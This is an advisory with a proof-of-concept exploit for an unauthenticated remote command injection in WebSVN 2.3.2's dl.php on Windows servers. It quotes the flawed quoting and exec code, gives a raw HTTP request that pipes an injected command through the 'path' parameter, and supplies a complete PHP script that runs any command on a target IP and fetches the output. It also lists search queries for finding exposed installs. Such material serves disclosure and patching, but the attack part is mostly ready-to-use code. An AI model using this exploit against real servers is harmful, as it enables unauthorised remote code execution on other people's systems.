WebSVN 2.3.2 Unproper Metacharacters Escaping exec() Remote Commands Injection Vulnerability

tested against: Microsoft Windows Server R2 SP2 
                PHP 5.3.6 VC9 with magic_quotes_gpc = off (default)
                Apache 2.2.17 VC9

Introduction:
This is a very special vulnerabilty, given the incredibly high number 
of machines involved. This can be verified by submitting the following
queries to Google:

"Powered by WebSVN * and Subversion"
"Powered by WebSVN 2.3.2 and Subversion"

homepage url: http://websvn.tigris.org/

Description says:
"WebSVN offers a view onto your subversion repositories that's been designed to 
reflect the Subversion methodology. You can view the log of any file or directory
and see a list of all the files changed, added or deleted in any given revision.
You can also view compare two versions of a file so as to see exactly what was 
changed in a particular revision.

Since it's written using PHP, WebSVN is very portable and easy to install."

Vulnerabilty:

Without prior authentication, if the 'allowDownload' option is enabled 
in config.php, meaning that a tarball download is allowed across all the 
repositories (not uncommon), an attacker can invoke the dl.php script
and passing a well formed 'path' argument to execute arbitrary
commands against the underlying operating system.


Vulnerable code:

look at dl.php, lines 114-139:

..
} else {
    @unlink($tempDir);
    mkdir($tempDir);
    // Create the name of the directory being archived
    $archiveName = $path;
    $isDir = (substr($archiveName, -1) == '/');
    if ($isDir) {
      $archiveName = substr($archiveName, 0, -1);
    }
    $archiveName = basename($archiveName);
    if ($archiveName == '') {
      $archiveName = $rep->name;
    }
    $plainfilename = $archiveName;
    $archiveName .= '.r'.$rev;
                
    // Export the requested path from SVN repository to the temp directory
    $svnExportResult = $svnrep->exportRepositoryPath($path, $tempDir.DIRECTORY_SEPARATOR.$archiveName, $rev, $peg);
    
                if ($svnExportResult != 0) {
      header('HTTP/1.x 500 Internal Server Error', true, 500);
      error_log('svn export failed for: '.$archiveName);
      print 'svn export failed for "'.xml_entities($archiveName).'".';
      removeDirectory($tempDir);
      exit(0);
    }
..


then look at exportRepositoryPath() function inside ./include/svnlook.php, lines 879-896:
..
// {{{ exportDirectory
  //
  // Exports the directory to the given location

  function exportRepositoryPath($path, $filename, $rev = 0, $peg = '') {
    $cmd = $this->svnCommandString('export', $path, $rev, $peg).' '.quote($filename); //<---------------
    $retcode = 0;
                
    execCommand($cmd, $retcode); //<----------------------
                
    if ($retcode != 0) {
      global $lang;
      error_log($lang['BADCMD'].': '.escape($cmd));
    }
    return $retcode;
  }

  // }}}
..

again look at execCommand() function inside ./include/command.php, lines 107-123:

..
// {{{ execCommand

function execCommand($cmd, &$retcode) {
  global $config;

  // On Windows machines, the whole line needs quotes round it so that it's
  // passed to cmd.exe correctly
  // Since php 5.3.0 the quoting seems to be done internally

  if ($config->serverIsWindows && version_compare(PHP_VERSION, '5.3.0alpha') === -1) {
    $cmd = '"'.$cmd.'"'; //<------------ nonsense ...
  }

  return @exec($cmd, $tmp, $retcode); //<--------------------- boom
}

// }}}
..


also, look at quote() inside ./include/command.php:

..
// {{{ quote
//
// Quote a string to send to the command line

function quote($str) {
  global $config;

  if ($config->serverIsWindows) {
    return '"'.$str.'"'; //<--------------------------- !!!
  } else {
    return escapeshellarg($str); //<------------ this should work properly on Linux instead
  }
}

// }}}
..


Example packet:

POST /websvn/dl.php HTTP/1.1
User-Agent: Mozilla/4.0
Host: 192.168.0.1
Accept: */*
Cookie: storedsesstemplate=.%00; storedtemplate=.%00;
Content-Length: 42
Content-Type: application/x-www-form-urlencoded

path=./../../x%22%7Cver%3Esuntzu.txt%7C%22


the resulting command line is like this:

"c:\SVN\bin\svn" --non-interactive --config-dir C:\SVN\tmp\export "URL%20to%20repository%20%28e.g.%20file:///d:/SubVersion/proj%29./../../x%22%7Cver%3Esuntzu.txt%7C%22@" "C:\Documents and Settings
\Administrator\Local Settings\Temp\web554.tmp\x"|ver>suntzu.txt|".r"

allowing you to inject arbitrary commands via the pipe char.

Proof of concept code:

<?php
/*
  WebSVN 2.3.2 Unproper Metacharacters Escaping exec() Remote Commands Injection Exploit
  by rgod

  download url: http://websvn.tigris.org/

  tested against: Microsoft Windows Server R2 SP2 
                  PHP 5.3.6 VC9 with magic_quotes_gpc = off (default)
                  Apache 2.2.17 VC9 
                  
  it needs the allowDownload option enabled in config.php, meaning
  that a tarball download is allowed across all the repositories
  (not uncommon)                  
  
*/
    error_reporting(E_ALL ^ E_NOTICE);     
    set_time_limit(0);
    
  $err[0] = "[!] This script is intended to be launched from the cli!";
    $err[1] = "[!] You need the curl extesion loaded!";

    if (php_sapi_name() <> "cli") {
        die($err[0]);
    }
    
  function syntax() {
       print("usage  : php 9sg_websvn.php [ip_address] [command]\r\n" );
       print("example: php 9sg_websvn.php 192.168.0.1 ver\r\n" );
       die();
    }
    
  $argv[2] ? print("[*] Attacking...\n") :
    syntax();
    
  if (!extension_loaded('curl')) {
        $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
        false;
        if ($win) {
            !dl("php_curl.dll") ? die($err[1]) :
             print("[*] curl loaded\n");
        } else {
            !dl("php_curl.so") ? die($err[1]) :
             print("[*] curl loaded\n");
        }
    }
        
    function _s($url, $is_post, $ck, $request) {
        global $_use_proxy, $proxy_host, $proxy_port;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        if ($is_post) {
            curl_setopt($ch, CURLOPT_POST, 1);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
        }
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_HTTPHEADER, array(
            "Cookie: storedsesstemplate=.%00; storedtemplate=.%00;  ".$ck ,
            

        )); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0");
        curl_setopt($ch, CURLOPT_TIMEOUT, 0);
         
        if ($_use_proxy) {
            curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
        }
        $_d = curl_exec($ch);
        if (curl_errno($ch)) {
            //die("[!] ".curl_error($ch)."\n");
        } else {
            curl_close($ch);
        }
        return $_d;
    }
          $host = $argv[1];
          $port = 80;
          $cmd = $argv[2];



$url = "http://$host:$port/websvn/dl.php";
$out = _s($url, 1, "", "path=./../../x".urlencode("\"|".$cmd.">suntzu.txt|\""));
//print($out."\n");

sleep(1);

$url = "http://$host:$port/websvn/suntzu.txt";
$out = _s($url, 0, "", "");
print($out."\n");


?>

original url: http://retrogod.altervista.org/rgod_websvn_adv.html